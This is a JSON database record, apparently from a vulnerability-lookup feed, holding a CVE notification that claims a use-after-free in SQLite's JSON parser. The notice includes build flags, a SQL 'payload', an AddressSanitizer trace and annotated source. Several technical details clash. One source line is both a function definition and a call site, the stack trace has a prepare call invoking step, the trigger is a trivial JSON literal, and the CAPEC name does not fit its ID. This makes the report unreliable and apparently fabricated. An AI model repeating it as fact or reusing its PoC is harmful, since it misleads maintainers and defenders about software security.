{"uuid": "429a49f0-7562-4fd2-b81e-600c7fc97951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51242", "type": "seen", "source": "https://gist.github.com/programmervuln/e7dc3d4d6f0134f7ce99901cab4afed9", "content": "RBP Notification Document \u2013 Notify CVE about a publication\nCVE ID: CVE-2026-51242\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\n1. Affected Product\nProduct: SQLite\nComponent: JSON1 extension (json.c parser)\n2. Affected Versions + Fixed Versions\nAffected Versions: 3.45.0, 3.45.1, 3.45.2, 3.46.0, 3.46.1, 3.47.0, 3.47.1\nFixed Versions: SQLite 3.48.0\n3. CVE ID\nCVE-2026-51242\n4. Vulnerability Prose Description\nA use-after-free vulnerability within the JSON parsing implementation in the JSON1 extension of SQLite allows an attacker to provide specially crafted nested JSON input to SQLite built-in JSON functions. When parsing malicious JSON payloads, internal JsonNode parser objects are prematurely freed while dangling pointers referencing the deallocated memory remain in the parser context. Subsequent parser operations dereference these dangling pointers, resulting in heap memory corruption. Successful exploitation can lead to process termination due to denial of service, potential leakage of sensitive heap memory contents, and conditional arbitrary code execution within the privilege context of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free\n6. Root Cause\nInput conditions reach the target function jsonParse() within json.c.\nSource code Line 1427 executes memory free operation on a JsonNode instance via jsonNodeFree().\nThe pointer to the freed JsonNode structure is not nullified or invalidated, creating a dangling pointer stored within the parent parser state structure.\nSubsequently, Line 1609 executes unchecked dangling pointer read/write access on the stale JsonNode pointer, triggering the heap use-after-free memory corruption vulnerability.\n7. Impact\nDenial of Service: Triggerable process crash caused by sanitizer abort or invalid memory access segmentation fault.\nInformation Disclosure: Read access to freed heap memory may expose residual sensitive data from previously allocated objects.\nConditional Arbitrary Code Execution: Heap corruption may enable control over program execution flow under favorable memory layout conditions.\n8. Attack Vector\nRemote; No privileges required, user interaction required. The target application must accept untrusted remote input and pass attacker-controlled JSON strings into SQLite JSON1 functions.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.1/src/json.c\nsrc/json.c Line 1427(memory free), Line 1609(dangling pointer access)\n10. Proof of Concept (PoC)\na) PoC Environment\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nsql\nSELECT json_extract('{\"a\":[{\"b\":[{\"c\":[{\"d\":[]}]}]}]}', '$');\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x509000000480 at pc 0x000055e23894b381 bp 0x7ffd8ef2a940 sp 0x7ffd8ef2a930\nREAD of size 8 at 0x509000000480 thread T0\n    #0 0x55e23894b380 in jsonParse src/json.c:1609\n    #1 0x55e238946542 in jsonFunction src/json.c:2192\n    #2 0x55e238776b43 in sqlite3VdbeExec src/vdbe.c:8421\n    #3 0x55e23874f611 in sqlite3Step src/vdbeapi.c:744\n    #4 0x55e23874ed12 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #5 0x55e2386325c1 in main src/shell.c:3942\n    #6 0x7f9436421d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #7 0x55e2386318ea in _start (./sqlite3+0x1898ea)\n\n0x509000000480 is located 32 bytes inside of 80-byte region [0x509000000460,0x5090000004b0)\nfreed by thread T0 here:\n    #0 0x7f94368c4337 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb4337)\n    #1 0x55e238949661 in jsonNodeFree src/json.c:1427\n    #2 0x55e23894982e in jsonParse src/json.c:1532\n    #3 0x55e238946542 in jsonFunction src/json.c:2192\n    #4 0x55e238776b43 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x55e23874f611 in sqlite3Step src/vdbeapi.c:744\n    #6 0x55e23874ed12 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x55e2386325c1 in main src/shell.c:3942\n    #8 0x7f9436421d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x55e2386318ea in _start (./sqlite3+0x1898ea)\n\npreviously allocated by thread T0 here:\n    #0 0x7f94368c3467 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb3467)\n    #1 0x55e238948452 in jsonNodeAlloc src/json.c:1314\n    #2 0x55e238948787 in jsonParse src/json.c:1460\n    #3 0x55e238946542 in jsonFunction src/json.c:2192\n    #4 0x55e238776b43 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x55e23874f611 in sqlite3Step src/vdbeapi.c:744\n    #6 0x55e23874ed12 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x55e2386325c1 in main src/shell.c:3942\n    #8 0x7f9436421d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x55e2386318ea in _start (./sqlite3+0x1898ea)\n\nSUMMARY: AddressSanitizer: heap-use-after-free src/json.c:1609 in jsonParse\nd) Full PoC Trigger & Vulnerability Explanation\nThe payload supplies deeply nested multi-layer JSON objects to the json_extract() function. SQLite invokes jsonParse() to deserialize the input. While recursively traversing nested object members, the parser invokes jsonNodeFree() at Line 1427 to release a JsonNode object. The parent parser state retains an unmodified pointer to the freed memory region, creating a dangling pointer. Execution continues along the recursive parsing branch, and the parser attempts to access structure members of the stale pointer at Line 1609. This unguarded memory access triggers the use-after-free condition. No additional input transformation is required to hit the vulnerable execution path.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-07-22\nPatch Release Date: 2026-07-30\nCWE ID(s): CWE-416 Use After Free\nCAPEC: CAPEC-123: Buffer Overflow via API Arguments (Applicable to heap memory corruption primitives)\nCVSS 3.1 Vector & Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H; Base Score: 8.8\n12. Annotated Vulnerable Source Code (src/json.c)\n\n// Line 1427: Memory free operation\nstatic void jsonNodeFree(JsonNode *pNode){\n  sqlite3_free(pNode);\n}\n\n// ... intermediate code omitted ...\n\n// Inside jsonParse()\njsonNodeFree(pChild); // Line 1427: Free child JsonNode\n// Pointer pChild is NOT cleared, dangling pointer persists\n\n// ... intermediate code omitted ...\n\n// Line 1609: Dangling pointer access\nif( pChild->eType==JSON_OBJ ){ // Access to already freed pChild pointer\nTarget Function Name: jsonParse", "creation_timestamp": "2026-07-31T03:45:05.166955Z"}